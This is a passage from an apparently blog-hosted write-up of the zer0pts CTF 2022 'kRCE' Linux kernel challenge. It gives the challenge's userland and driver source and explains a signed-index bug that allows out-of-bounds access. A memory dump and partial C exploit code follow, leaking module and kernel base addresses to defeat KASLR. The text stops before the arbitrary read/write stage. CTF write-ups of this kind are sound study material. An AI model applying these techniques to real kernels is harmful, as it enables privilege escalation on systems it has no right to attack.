</span><span class="hljs-built_in" style="color: blue;">free</span><span style="background-color: whitesmoke;">(req.data);
}
</span><span class="hljs-type" style="color: #a31515;">void</span><span style="background-color: whitesmoke;"> </span><span class="hljs-title function_" style="color: #a31515;">show</span><span class="hljs-params">(<span class="hljs-type" style="color: #a31515;">int</span> fd)</span><span style="background-color: whitesmoke;">
{
</span><span class="hljs-type" style="color: #a31515;">request_t</span><span style="background-color: whitesmoke;"> req;
</span><span class="hljs-built_in" style="color: blue;">printf</span><span style="background-color: whitesmoke;">(</span><span class="hljs-string" style="color: #a31515;">"index: "</span><span style="background-color: whitesmoke;">);
</span><span class="hljs-keyword" style="color: blue;">if</span><span style="background-color: whitesmoke;"> (</span><span class="hljs-built_in" style="color: blue;">scanf</span><span style="background-color: whitesmoke;">(</span><span class="hljs-string" style="color: #a31515;">"%u%*c"</span><span style="background-color: whitesmoke;">, &req.index) != </span><span class="hljs-number">1</span><span style="background-color: whitesmoke;">)
</span><span class="hljs-built_in" style="color: blue;">exit</span><span style="background-color: whitesmoke;">(</span><span class="hljs-number">1</span><span style="background-color: whitesmoke;">);
</span><span class="hljs-built_in" style="color: blue;">printf</span><span style="background-color: whitesmoke;">(</span><span class="hljs-string" style="color: #a31515;">"size: "</span><span style="background-color: whitesmoke;">);
</span><span class="hljs-keyword" style="color: blue;">if</span><span style="background-color: whitesmoke;"> (</span><span class="hljs-built_in" style="color: blue;">scanf</span><span style="background-color: whitesmoke;">(</span><span class="hljs-string" style="color: #a31515;">"%u%*c"</span><span style="background-color: whitesmoke;">, &req.size) != </span><span class="hljs-number">1</span><span style="background-color: whitesmoke;">)
</span><span class="hljs-built_in" style="color: blue;">exit</span><span style="background-color: whitesmoke;">(</span><span class="hljs-number">1</span><span style="background-color: whitesmoke;">);
req.data = </span><span class="hljs-built_in" style="color: blue;">malloc</span><span style="background-color: whitesmoke;">(req.size);
</span><span class="hljs-keyword" style="color: blue;">if</span><span style="background-color: whitesmoke;"> (!req.data) {
</span><span class="hljs-built_in" style="color: blue;">puts</span><span style="background-color: whitesmoke;">(</span><span class="hljs-string" style="color: #a31515;">"[-] Invalid size"</span><span style="background-color: whitesmoke;">);
</span><span class="hljs-keyword" style="color: blue;">return</span><span style="background-color: whitesmoke;">;
}
</span><span class="hljs-keyword" style="color: blue;">if</span><span style="background-color: whitesmoke;"> (ioctl(fd, CMD_SHOW, &req) < </span><span class="hljs-number">0</span><span style="background-color: whitesmoke;">)
</span><span class="hljs-built_in" style="color: blue;">puts</span><span style="background-color: whitesmoke;">(</span><span class="hljs-string" style="color: #a31515;">"[-] Something went wrong"</span><span style="background-color: whitesmoke;">);
</span><span class="hljs-keyword" style="color: blue;">else</span><span style="background-color: whitesmoke;"> {
</span><span class="hljs-built_in" style="color: blue;">printf</span><span style="background-color: whitesmoke;">(</span><span class="hljs-string" style="color: #a31515;">"[+] Data: "</span><span style="background-color: whitesmoke;">);
</span><span class="hljs-keyword" style="color: blue;">for</span><span style="background-color: whitesmoke;"> (</span><span class="hljs-type" style="color: #a31515;">unsigned</span><span style="background-color: whitesmoke;"> </span><span class="hljs-type" style="color: #a31515;">int</span><span style="background-color: whitesmoke;"> i = </span><span class="hljs-number">0</span><span style="background-color: whitesmoke;">; i < req.size; i++) {
</span><span class="hljs-built_in" style="color: blue;">printf</span><span style="background-color: whitesmoke;">(</span><span class="hljs-string" style="color: #a31515;">"%02hhx "</span><span style="background-color: whitesmoke;">, req.data[i]);
}
</span><span class="hljs-built_in" style="color: blue;">putchar</span><span style="background-color: whitesmoke;">(</span><span class="hljs-string" style="color: #a31515;">'\n'</span><span style="background-color: whitesmoke;">);
}
</span><span class="hljs-built_in" style="color: blue;">free</span><span style="background-color: whitesmoke;">(req.data);
}
</span><span class="hljs-type" style="color: #a31515;">void</span><span style="background-color: whitesmoke;"> </span><span class="hljs-title function_" style="color: #a31515;">del</span><span class="hljs-params">(<span class="hljs-type" style="color: #a31515;">int</span> fd)</span><span style="background-color: whitesmoke;">
{
</span><span class="hljs-type" style="color: #a31515;">request_t</span><span style="background-color: whitesmoke;"> req;
</span><span class="hljs-built_in" style="color: blue;">printf</span><span style="background-color: whitesmoke;">(</span><span class="hljs-string" style="color: #a31515;">"index: "</span><span style="background-color: whitesmoke;">);
</span><span class="hljs-keyword" style="color: blue;">if</span><span style="background-color: whitesmoke;"> (</span><span class="hljs-built_in" style="color: blue;">scanf</span><span style="background-color: whitesmoke;">(</span><span class="hljs-string" style="color: #a31515;">"%u%*c"</span><span style="background-color: whitesmoke;">, &req.index) != </span><span class="hljs-number">1</span><span style="background-color: whitesmoke;">)
</span><span class="hljs-built_in" style="color: blue;">exit</span><span style="background-color: whitesmoke;">(</span><span class="hljs-number">1</span><span style="background-color: whitesmoke;">);
</span><span class="hljs-keyword" style="color: blue;">if</span><span style="background-color: whitesmoke;"> (ioctl(fd, CMD_DEL, &req) < </span><span class="hljs-number">0</span><span style="background-color: whitesmoke;">)
</span><span class="hljs-built_in" style="color: blue;">puts</span><span style="background-color: whitesmoke;">(</span><span class="hljs-string" style="color: #a31515;">"[-] Something went wrong"</span><span style="background-color: whitesmoke;">);
</span><span class="hljs-keyword" style="color: blue;">else</span><span style="background-color: whitesmoke;">
</span><span class="hljs-built_in" style="color: blue;">puts</span><span style="background-color: whitesmoke;">(</span><span class="hljs-string" style="color: #a31515;">"[+] Successfully deleted"</span><span style="background-color: whitesmoke;">);
}
</span><span class="hljs-type" style="color: #a31515;">int</span><span style="background-color: whitesmoke;"> </span><span class="hljs-title function_" style="color: #a31515;">main</span><span class="hljs-params">()</span><span style="background-color: whitesmoke;">
{
</span><span class="hljs-type" style="color: #a31515;">int</span><span style="background-color: whitesmoke;"> bufd = open(</span><span class="hljs-string" style="color: #a31515;">"/dev/buffer"</span><span style="background-color: whitesmoke;">, O_RDWR | O_CLOEXEC);
</span><span class="hljs-keyword" style="color: blue;">if</span><span style="background-color: whitesmoke;"> (bufd == </span><span class="hljs-number">-1</span><span style="background-color: whitesmoke;">)
fatal(</span><span class="hljs-string" style="color: #a31515;">"/dev/buffer"</span><span style="background-color: whitesmoke;">);
</span><span class="hljs-keyword" style="color: blue;">if</span><span style="background-color: whitesmoke;"> (setregid(</span><span class="hljs-number">1337</span><span style="background-color: whitesmoke;">, </span><span class="hljs-number">1337</span><span style="background-color: whitesmoke;">) == </span><span class="hljs-number">-1</span><span style="background-color: whitesmoke;">)
fatal(</span><span class="hljs-string" style="color: #a31515;">"setregid"</span><span style="background-color: whitesmoke;">);
</span><span class="hljs-keyword" style="color: blue;">if</span><span style="background-color: whitesmoke;"> (setreuid(</span><span class="hljs-number">1337</span><span style="background-color: whitesmoke;">, </span><span class="hljs-number">1337</span><span style="background-color: whitesmoke;">) == </span><span class="hljs-number">-1</span><span style="background-color: whitesmoke;">)
fatal(</span><span class="hljs-string" style="color: #a31515;">"setreuid"</span><span style="background-color: whitesmoke;">);
setvbuf(</span><span class="hljs-built_in" style="color: blue;">stdin</span><span style="background-color: whitesmoke;">, </span><span class="hljs-literal" style="color: #a31515;">NULL</span><span style="background-color: whitesmoke;">, _IONBF, </span><span class="hljs-number">0</span><span style="background-color: whitesmoke;">);
setvbuf(</span><span class="hljs-built_in" style="color: blue;">stdout</span><span style="background-color: whitesmoke;">, </span><span class="hljs-literal" style="color: #a31515;">NULL</span><span style="background-color: whitesmoke;">, _IONBF, </span><span class="hljs-number">0</span><span style="background-color: whitesmoke;">);
setvbuf(</span><span class="hljs-built_in" style="color: blue;">stderr</span><span style="background-color: whitesmoke;">, </span><span class="hljs-literal" style="color: #a31515;">NULL</span><span style="background-color: whitesmoke;">, _IONBF, </span><span class="hljs-number">0</span><span style="background-color: whitesmoke;">);
</span><span class="hljs-built_in" style="color: blue;">puts</span><span style="background-color: whitesmoke;">(</span><span class="hljs-string" style="color: #a31515;">"1. add"</span><span style="background-color: whitesmoke;">);
</span><span class="hljs-built_in" style="color: blue;">puts</span><span style="background-color: whitesmoke;">(</span><span class="hljs-string" style="color: #a31515;">"2. edit"</span><span style="background-color: whitesmoke;">);
</span><span class="hljs-built_in" style="color: blue;">puts</span><span style="background-color: whitesmoke;">(</span><span class="hljs-string" style="color: #a31515;">"3. show"</span><span style="background-color: whitesmoke;">);
</span><span class="hljs-built_in" style="color: blue;">puts</span><span style="background-color: whitesmoke;">(</span><span class="hljs-string" style="color: #a31515;">"4. delete"</span><span style="background-color: whitesmoke;">);
</span><span class="hljs-keyword" style="color: blue;">while</span><span style="background-color: whitesmoke;"> (</span><span class="hljs-number">1</span><span style="background-color: whitesmoke;">) {
</span><span class="hljs-type" style="color: #a31515;">int</span><span style="background-color: whitesmoke;"> choice;
</span><span class="hljs-built_in" style="color: blue;">printf</span><span style="background-color: whitesmoke;">(</span><span class="hljs-string" style="color: #a31515;">"> "</span><span style="background-color: whitesmoke;">);
</span><span class="hljs-keyword" style="color: blue;">if</span><span style="background-color: whitesmoke;"> (</span><span class="hljs-built_in" style="color: blue;">scanf</span><span style="background-color: whitesmoke;">(</span><span class="hljs-string" style="color: #a31515;">"%d%*c"</span><span style="background-color: whitesmoke;">, &choice) != </span><span class="hljs-number">1</span><span style="background-color: whitesmoke;">)
</span><span class="hljs-built_in" style="color: blue;">exit</span><span style="background-color: whitesmoke;">(</span><span class="hljs-number">1</span><span style="background-color: whitesmoke;">);
</span><span class="hljs-keyword" style="color: blue;">switch</span><span style="background-color: whitesmoke;"> (choice) {
</span><span class="hljs-keyword" style="color: blue;">case</span><span style="background-color: whitesmoke;"> </span><span class="hljs-number">1</span><span style="background-color: whitesmoke;">: add(bufd); </span><span class="hljs-keyword" style="color: blue;">break</span><span style="background-color: whitesmoke;">;
</span><span class="hljs-keyword" style="color: blue;">case</span><span style="background-color: whitesmoke;"> </span><span class="hljs-number">2</span><span style="background-color: whitesmoke;">: edit(bufd); </span><span class="hljs-keyword" style="color: blue;">break</span><span style="background-color: whitesmoke;">;
</span><span class="hljs-keyword" style="color: blue;">case</span><span style="background-color: whitesmoke;"> </span><span class="hljs-number">3</span><span style="background-color: whitesmoke;">: show(bufd); </span><span class="hljs-keyword" style="color: blue;">break</span><span style="background-color: whitesmoke;">;
</span><span class="hljs-keyword" style="color: blue;">case</span><span style="background-color: whitesmoke;"> </span><span class="hljs-number">4</span><span style="background-color: whitesmoke;">: del(bufd); </span><span class="hljs-keyword" style="color: blue;">break</span><span style="background-color: whitesmoke;">;
</span><span class="hljs-keyword" style="color: blue;">default</span><span style="background-color: whitesmoke;">: </span><span class="hljs-keyword" style="color: blue;">return</span><span style="background-color: whitesmoke;"> </span><span class="hljs-number">0</span><span style="background-color: whitesmoke;">;
}
}
}</span>
</span></div><div><br /></div><div><div>There aren't any bugs here, so you won't be able to escape from userland to a shell first. Note that the binary had PIE and was linked with uClibc.</div><div><br /></div><div>The following is the kernel driver source:</div></div><div><br /></div><div><span style="background-color: whitesmoke; display: block; font-family: monospace; max-width: 100%; overflow-x: auto; white-space: pre;"><span class="hljs-meta" style="color: #2b91af;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><linux/module.h></span></span><span style="background-color: whitesmoke;">
</span><span class="hljs-meta" style="color: #2b91af;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><linux/kernel.h></span></span><span style="background-color: whitesmoke;">
</span><span class="hljs-meta" style="color: #2b91af;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><linux/cdev.h></span></span><span style="background-color: whitesmoke;">
</span><span class="hljs-meta" style="color: #2b91af;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><linux/fs.h></span></span><span style="background-color: whitesmoke;">
</span><span class="hljs-meta" style="color: #2b91af;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><linux/uaccess.h></span></span><span style="background-color: whitesmoke;">
</span><span class="hljs-meta" style="color: #2b91af;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><linux/slab.h></span></span><span style="background-color: whitesmoke;">
</span><span class="hljs-meta" style="color: #2b91af;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><linux/random.h></span></span><span style="background-color: whitesmoke;">
</span><span class="hljs-meta" style="color: #2b91af;">#<span class="hljs-keyword" style="color: blue;">define</span> DEVICE_NAME <span class="hljs-string" style="color: #a31515;">"buffer"</span></span><span style="background-color: whitesmoke;">
</span><span class="hljs-meta" style="color: #2b91af;">#<span class="hljs-keyword" style="color: blue;">define</span> BUF_NUM 0x10</span><span style="background-color: whitesmoke;">
</span><span class="hljs-meta" style="color: #2b91af;">#<span class="hljs-keyword" style="color: blue;">define</span> CMD_NEW 0xeb15</span><span style="background-color: whitesmoke;">
</span><span class="hljs-meta" style="color: #2b91af;">#<span class="hljs-keyword" style="color: blue;">define</span> CMD_EDIT 0xac1ba</span><span style="background-color: whitesmoke;">
</span><span class="hljs-meta" style="color: #2b91af;">#<span class="hljs-keyword" style="color: blue;">define</span> CMD_SHOW 0x7aba7a</span><span style="background-color: whitesmoke;">
</span><span class="hljs-meta" style="color: #2b91af;">#<span class="hljs-keyword" style="color: blue;">define</span> CMD_DEL 0x0da1ba</span><span style="background-color: whitesmoke;">
MODULE_LICENSE(</span><span class="hljs-string" style="color: #a31515;">"GPL"</span><span style="background-color: whitesmoke;">);
MODULE_AUTHOR(</span><span class="hljs-string" style="color: #a31515;">"ptr-yudai"</span><span style="background-color: whitesmoke;">);
MODULE_DESCRIPTION(</span><span class="hljs-string" style="color: #a31515;">"kRCE - zer0pts CTF 2022"</span><span style="background-color: whitesmoke;">);
</span><span class="hljs-keyword" style="color: blue;">typedef</span><span style="background-color: whitesmoke;"> </span><span class="hljs-class"><span class="hljs-keyword" style="color: blue;">struct</span> {</span><span style="background-color: whitesmoke;">
</span><span class="hljs-type" style="color: #a31515;">uint32_t</span><span style="background-color: whitesmoke;"> index;
</span><span class="hljs-type" style="color: #a31515;">uint32_t</span><span style="background-color: whitesmoke;"> size;
</span><span class="hljs-type" style="color: #a31515;">char</span><span style="background-color: whitesmoke;"> *data;
} </span><span class="hljs-type" style="color: #a31515;">request_t</span><span style="background-color: whitesmoke;">;
</span><span class="hljs-type" style="color: #a31515;">char</span><span style="background-color: whitesmoke;"> *buffer[BUF_NUM];
</span><span class="hljs-type" style="color: #a31515;">long</span><span style="background-color: whitesmoke;"> </span><span class="hljs-title function_" style="color: #a31515;">buffer_new</span><span class="hljs-params">(<span class="hljs-type" style="color: #a31515;">uint32_t</span> index, <span class="hljs-type" style="color: #a31515;">uint32_t</span> size)</span><span style="background-color: whitesmoke;"> {
</span><span class="hljs-keyword" style="color: blue;">if</span><span style="background-color: whitesmoke;"> (index >= BUF_NUM)
</span><span class="hljs-keyword" style="color: blue;">return</span><span style="background-color: whitesmoke;"> -EINVAL;
</span><span class="hljs-keyword" style="color: blue;">if</span><span style="background-color: whitesmoke;"> (!(buffer[index] = (</span><span class="hljs-type" style="color: #a31515;">char</span><span style="background-color: whitesmoke;">*)kzalloc(size, GFP_KERNEL)))
</span><span class="hljs-keyword" style="color: blue;">return</span><span style="background-color: whitesmoke;"> -EINVAL;
</span><span class="hljs-keyword" style="color: blue;">return</span><span style="background-color: whitesmoke;"> </span><span class="hljs-number">0</span><span style="background-color: whitesmoke;">;
}
</span><span class="hljs-type" style="color: #a31515;">long</span><span style="background-color: whitesmoke;"> </span><span class="hljs-title function_" style="color: #a31515;">buffer_del</span><span class="hljs-params">(<span class="hljs-type" style="color: #a31515;">uint32_t</span> index)</span><span style="background-color: whitesmoke;"> {
</span><span class="hljs-keyword" style="color: blue;">if</span><span style="background-color: whitesmoke;"> (index >= BUF_NUM)
</span><span class="hljs-keyword" style="color: blue;">return</span><span style="background-color: whitesmoke;"> -EINVAL;
</span><span class="hljs-keyword" style="color: blue;">if</span><span style="background-color: whitesmoke;"> (!buffer[index])
</span><span class="hljs-keyword" style="color: blue;">return</span><span style="background-color: whitesmoke;"> -EINVAL;
kfree(buffer[index]);
buffer[index] = </span><span class="hljs-literal" style="color: #a31515;">NULL</span><span style="background-color: whitesmoke;">;
</span><span class="hljs-keyword" style="color: blue;">return</span><span style="background-color: whitesmoke;"> </span><span class="hljs-number">0</span><span style="background-color: whitesmoke;">;
}
</span><span class="hljs-type" style="color: #a31515;">long</span><span style="background-color: whitesmoke;"> </span><span class="hljs-title function_" style="color: #a31515;">buffer_edit</span><span class="hljs-params">(<span class="hljs-type" style="color: #a31515;">int32_t</span> index, <span class="hljs-type" style="color: #a31515;">char</span> *data, <span class="hljs-type" style="color: #a31515;">int32_t</span> size)</span><span style="background-color: whitesmoke;"> {
</span><span class="hljs-keyword" style="color: blue;">if</span><span style="background-color: whitesmoke;"> (index >= BUF_NUM)
</span><span class="hljs-keyword" style="color: blue;">return</span><span style="background-color: whitesmoke;"> -EINVAL;
</span><span class="hljs-keyword" style="color: blue;">if</span><span style="background-color: whitesmoke;"> (!buffer[index])
</span><span class="hljs-keyword" style="color: blue;">return</span><span style="background-color: whitesmoke;"> -EINVAL;
</span><span class="hljs-keyword" style="color: blue;">if</span><span style="background-color: whitesmoke;"> (copy_from_user(buffer[index], data, size))
</span><span class="hljs-keyword" style="color: blue;">return</span><span style="background-color: whitesmoke;"> -EINVAL;
</span><span class="hljs-keyword" style="color: blue;">return</span><span style="background-color: whitesmoke;"> </span><span class="hljs-number">0</span><span style="background-color: whitesmoke;">;
}
</span><span class="hljs-type" style="color: #a31515;">long</span><span style="background-color: whitesmoke;"> </span><span class="hljs-title function_" style="color: #a31515;">buffer_show</span><span class="hljs-params">(<span class="hljs-type" style="color: #a31515;">int32_t</span> index, <span class="hljs-type" style="color: #a31515;">char</span> *data, <span class="hljs-type" style="color: #a31515;">int32_t</span> size)</span><span style="background-color: whitesmoke;"> {
</span><span class="hljs-keyword" style="color: blue;">if</span><span style="background-color: whitesmoke;"> (index >= BUF_NUM)
</span><span class="hljs-keyword" style="color: blue;">return</span><span style="background-color: whitesmoke;"> -EINVAL;
</span><span class="hljs-keyword" style="color: blue;">if</span><span style="background-color: whitesmoke;"> (!buffer[index])
</span><span class="hljs-keyword" style="color: blue;">return</span><span style="background-color: whitesmoke;"> -EINVAL;
</span><span class="hljs-keyword" style="color: blue;">if</span><span style="background-color: whitesmoke;"> (copy_to_user(data, buffer[index], size))
</span><span class="hljs-keyword" style="color: blue;">return</span><span style="background-color: whitesmoke;"> -EINVAL;
</span><span class="hljs-keyword" style="color: blue;">return</span><span style="background-color: whitesmoke;"> </span><span class="hljs-number">0</span><span style="background-color: whitesmoke;">;
}
</span><span class="hljs-type" style="color: #a31515;">static</span><span style="background-color: whitesmoke;"> </span><span class="hljs-type" style="color: #a31515;">long</span><span style="background-color: whitesmoke;"> </span><span class="hljs-title function_" style="color: #a31515;">module_ioctl</span><span class="hljs-params">(<span class="hljs-keyword" style="color: blue;">struct</span> file *filp,
<span class="hljs-type" style="color: #a31515;">unsigned</span> <span class="hljs-type" style="color: #a31515;">int</span> cmd,
<span class="hljs-type" style="color: #a31515;">unsigned</span> <span class="hljs-type" style="color: #a31515;">long</span> arg)</span><span style="background-color: whitesmoke;"> {
</span><span class="hljs-type" style="color: #a31515;">request_t</span><span style="background-color: whitesmoke;"> req;
</span><span class="hljs-keyword" style="color: blue;">if</span><span style="background-color: whitesmoke;"> (copy_from_user(&req, (</span><span class="hljs-type" style="color: #a31515;">void</span><span style="background-color: whitesmoke;">*)arg, </span><span class="hljs-keyword" style="color: blue;">sizeof</span><span style="background-color: whitesmoke;">(</span><span class="hljs-type" style="color: #a31515;">request_t</span><span style="background-color: whitesmoke;">)))
</span><span class="hljs-keyword" style="color: blue;">return</span><span style="background-color: whitesmoke;"> -EINVAL;
</span><span class="hljs-keyword" style="color: blue;">switch</span><span style="background-color: whitesmoke;"> (cmd) {
</span><span class="hljs-keyword" style="color: blue;">case</span><span style="background-color: whitesmoke;"> CMD_NEW : </span><span class="hljs-keyword" style="color: blue;">return</span><span style="background-color: whitesmoke;"> buffer_new (req.index, req.size);
</span><span class="hljs-keyword" style="color: blue;">case</span><span style="background-color: whitesmoke;"> CMD_EDIT: </span><span class="hljs-keyword" style="color: blue;">return</span><span style="background-color: whitesmoke;"> buffer_edit(req.index, req.data, req.size);
</span><span class="hljs-keyword" style="color: blue;">case</span><span style="background-color: whitesmoke;"> CMD_SHOW: </span><span class="hljs-keyword" style="color: blue;">return</span><span style="background-color: whitesmoke;"> buffer_show(req.index, req.data, req.size);
</span><span class="hljs-keyword" style="color: blue;">case</span><span style="background-color: whitesmoke;"> CMD_DEL : </span><span class="hljs-keyword" style="color: blue;">return</span><span style="background-color: whitesmoke;"> buffer_del (req.index);
</span><span class="hljs-keyword" style="color: blue;">default</span><span style="background-color: whitesmoke;">: </span><span class="hljs-keyword" style="color: blue;">return</span><span style="background-color: whitesmoke;"> -EINVAL;
}
}
</span><span class="hljs-type" style="color: #a31515;">static</span><span style="background-color: whitesmoke;"> </span><span class="hljs-class"><span class="hljs-keyword" style="color: blue;">struct</span> <span class="hljs-title" style="color: #a31515;">file_operations</span> <span class="hljs-title" style="color: #a31515;">module_fops</span> =</span><span style="background-color: whitesmoke;"> {
.owner = THIS_MODULE,
.unlocked_ioctl = module_ioctl,
};
</span><span class="hljs-type" style="color: #a31515;">static</span><span style="background-color: whitesmoke;"> </span><span class="hljs-type" style="color: #a31515;">dev_t</span><span style="background-color: whitesmoke;"> dev_id;
</span><span class="hljs-type" style="color: #a31515;">static</span><span style="background-color: whitesmoke;"> </span><span class="hljs-class"><span class="hljs-keyword" style="color: blue;">struct</span> <span class="hljs-title" style="color: #a31515;">cdev</span> <span class="hljs-title" style="color: #a31515;">c_dev</span>;</span><span style="background-color: whitesmoke;">
</span><span class="hljs-type" style="color: #a31515;">static</span><span style="background-color: whitesmoke;"> </span><span class="hljs-type" style="color: #a31515;">int</span><span style="background-color: whitesmoke;"> __init </span><span class="hljs-title function_" style="color: #a31515;">module_initialize</span><span class="hljs-params">(<span class="hljs-type" style="color: #a31515;">void</span>)</span><span style="background-color: whitesmoke;">
{
</span><span class="hljs-keyword" style="color: blue;">if</span><span style="background-color: whitesmoke;"> (alloc_chrdev_region(&dev_id, </span><span class="hljs-number">0</span><span style="background-color: whitesmoke;">, </span><span class="hljs-number">1</span><span style="background-color: whitesmoke;">, DEVICE_NAME)) {
printk(KERN_WARNING </span><span class="hljs-string" style="color: #a31515;">"Failed to register device\n"</span><span style="background-color: whitesmoke;">);
</span><span class="hljs-keyword" style="color: blue;">return</span><span style="background-color: whitesmoke;"> -EBUSY;
}
cdev_init(&c_dev, &module_fops);
c_dev.owner = THIS_MODULE;
</span><span class="hljs-keyword" style="color: blue;">if</span><span style="background-color: whitesmoke;"> (cdev_add(&c_dev, dev_id, </span><span class="hljs-number">1</span><span style="background-color: whitesmoke;">)) {
printk(KERN_WARNING </span><span class="hljs-string" style="color: #a31515;">"Failed to add cdev\n"</span><span style="background-color: whitesmoke;">);
unregister_chrdev_region(dev_id, </span><span class="hljs-number">1</span><span style="background-color: whitesmoke;">);
</span><span class="hljs-keyword" style="color: blue;">return</span><span style="background-color: whitesmoke;"> -EBUSY;
}
</span><span class="hljs-keyword" style="color: blue;">return</span><span style="background-color: whitesmoke;"> </span><span class="hljs-number">0</span><span style="background-color: whitesmoke;">;
}
</span><span class="hljs-type" style="color: #a31515;">static</span><span style="background-color: whitesmoke;"> </span><span class="hljs-type" style="color: #a31515;">void</span><span style="background-color: whitesmoke;"> __exit </span><span class="hljs-title function_" style="color: #a31515;">module_cleanup</span><span class="hljs-params">(<span class="hljs-type" style="color: #a31515;">void</span>)</span><span style="background-color: whitesmoke;">
{
cdev_del(&c_dev);
unregister_chrdev_region(dev_id, </span><span class="hljs-number">1</span><span style="background-color: whitesmoke;">);
}
module_init(module_initialize);
module_exit(module_cleanup);</span>
</span></div><div><br /></div><div><div>Edit and show allow for arbitrary out of bounds read and write on the kernel heap. There is another more powerful bug too that let us completely ignore this overflow bug. Even though index is an unsigned integer in the request struct, it gets passed into edit and show as a signed int, effectively giving us a negative indexing primitive into the buffer array as it doesn't check lower bounds. Note that the kernel also has the classic modern mitigations of KASLR, KPTI, SMEP, and SMAP. </div><div><br /></div><div>For debugging's sake, I removed the interface portion and had the init script drop me a shell locally. It should be pretty trivial to convert a C exploit that only uses the 4 ioctls into a pwntools interaction script with the userland interface.</div><div><br /></div><div>My first goal was to achieve a module leak. When analyzing the module in memory, it's interesting to note that the driver's module struct is 16 bytes above the buffer array. </div></div><div><br /></div><div style="background-color: whitesmoke; display: block; max-width: 100%; overflow-x: auto;"><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">0xffffffffc02ae300: 0x0000000000000000 0xffffffffc02ae2b8
0xffffffffc02ae310: 0x0000000000000000 0x0000000000000000
0xffffffffc02ae320: 0x0000000000001000 0x0000000000000002
0xffffffffc02ae330: 0xffffffffb12b47a0 0xffffffffb12b47a0
0xffffffffc02ae340: 0xffffffffc02ae100 0xffffffffc02ae350
0xffffffffc02ae350: 0xffffffffc02af000 0x0000000000000008
0xffffffffc02ae360: 0xffffffffc02af0c0 0xffffffffc02af11a
0xffffffffc02ae370: 0xffffa426c19c7000 0xffffa426c19dc400
0xffffffffc02ae380: 0xffffa426c18f6b48 0x0000000000000000
0xffffffffc02ae390: 0x0000000000000000 0x0000000000000000
0xffffffffc02ae3a0: 0x0000000000000000 0x0000000000000000
0xffffffffc02ae3b0: 0x0000000000000000 0x0000000000000000
0xffffffffc02ae3c0: 0xffffffffc02ae3c0 0xffffffffc02ae3c0
0xffffffffc02ae3d0: 0xffffffffc02ae3d0 0xffffffffc02ae3d0
0xffffffffc02ae3e0: 0xffffffffc02ac1fb 0x0000000000000001
0xffffffffc02ae3f0: 0x0000000000000000 0x0000000000000000
--------------------------buffer--------------------------
0xffffffffc02ae400: 0x0000000000000000 0x0000000000000000
0xffffffffc02ae410: 0x0000000000000000 0x0000000000000000
0xffffffffc02ae420: 0x0000000000000000 0x0000000000000000
0xffffffffc02ae430: 0x0000000000000000 0x0000000000000000
0xffffffffc02ae440: 0x0000000000000000 0x0000000000000000</span></div><div><br /></div><div>The <a href="https://elixir.bootlin.com/linux/v5.16.14/source/include/linux/module.h#L520">ending</a>
of a module struct has some nice features for us. There is a linked list of
dependency and dependee modules. Because this driver is all by itself,
these pointers all point back to themselves. If we have the show ioctl index
into memory address 0xffffffffc02ae3c0, we would get a dump of data
starting from that address itself. This would provide us with a module
leak. Judging from /sys/module/buffer/sections/, offsets between the
.data and .text region of the module are constant.<p></p>
<p>Now I need to achieve a KASLR leak given a module leak. To do this, I
utilized the pointer in 0xffffffffc02ae3e0, which points to <code>module_cleanup</code>, the destructor function for this driver. When the kernel loads a module, it <a href="https://stackoverflow.com/questions/10946081/how-does-compiler-linker-resolves-kernel-api-like-printk-called-from-a-module">automatically patches</a> in addresses for external kernel/module function calls. <code>module_cleanup</code> calls <code>cdev_del</code>,
a kernel function, so I can grab a kernel text leak by arb reading its
disassembly at run time and looking at the relative offset used in the call instruction.</p>
<p>Here is the C exploit so far: </p><p><span style="background-color: whitesmoke; display: block; font-family: monospace; max-width: 100%; overflow-x: auto; white-space: pre;"><span style="background-color: whitesmoke;"> show(fd, </span><span class="hljs-number">-8</span><span style="background-color: whitesmoke;">, </span><span class="hljs-number">0x40</span><span style="background-color: whitesmoke;">, buffer);
hexprint(buffer, </span><span class="hljs-number">0x40</span><span style="background-color: whitesmoke;">);
</span><span class="hljs-type" style="color: #a31515;">uint64_t</span><span style="background-color: whitesmoke;"> module_data_base = *(</span><span class="hljs-type" style="color: #a31515;">uint64_t</span><span style="background-color: whitesmoke;"> *)&buffer[</span><span class="hljs-number">0</span><span style="background-color: whitesmoke;">] - </span><span class="hljs-number">0x3c0</span><span style="background-color: whitesmoke;">;
</span><span class="hljs-type" style="color: #a31515;">uint64_t</span><span style="background-color: whitesmoke;"> module_text_base = module_data_base - </span><span class="hljs-number">0x2000</span><span style="background-color: whitesmoke;">;
</span><span class="hljs-built_in" style="color: blue;">printf</span><span style="background-color: whitesmoke;">(</span><span class="hljs-string" style="color: #a31515;">"kernel module data base: 0x%llx\n"</span><span style="background-color: whitesmoke;">, module_data_base);
</span><span class="hljs-built_in" style="color: blue;">printf</span><span style="background-color: whitesmoke;">(</span><span class="hljs-string" style="color: #a31515;">"kernel module text base: 0x%llx\n"</span><span style="background-color: whitesmoke;">, module_text_base);
show(fd, </span><span class="hljs-number">-4</span><span style="background-color: whitesmoke;">, </span><span class="hljs-number">0x20</span><span style="background-color: whitesmoke;">, buffer);
hexprint(buffer, </span><span class="hljs-number">0x20</span><span style="background-color: whitesmoke;">);
</span><span class="hljs-type" style="color: #a31515;">int32_t</span><span style="background-color: whitesmoke;"> relative_rip = *(</span><span class="hljs-type" style="color: #a31515;">int32_t</span><span style="background-color: whitesmoke;">*)(&buffer[</span><span class="hljs-number">0xc</span><span style="background-color: whitesmoke;">]);
</span><span class="hljs-type" style="color: #a31515;">uint64_t</span><span style="background-color: whitesmoke;"> kernel_base = module_text_base + </span><span class="hljs-number">0x20b</span><span style="background-color: whitesmoke;"> + relative_rip - </span><span class="hljs-number">0x14e240</span><span style="background-color: whitesmoke;">;
</span><span class="hljs-built_in" style="color: blue;">printf</span><span style="background-color: whitesmoke;">(</span><span class="hljs-string" style="color: #a31515;">"kernel base: 0x%llx\n"</span><span style="background-color: whitesmoke;">, kernel_base);</span>
</span></p><div class="highlight"><pre></pre></div><p></p><p>
</p><p>Now we can work on building an arbitrary read and arbitrary write
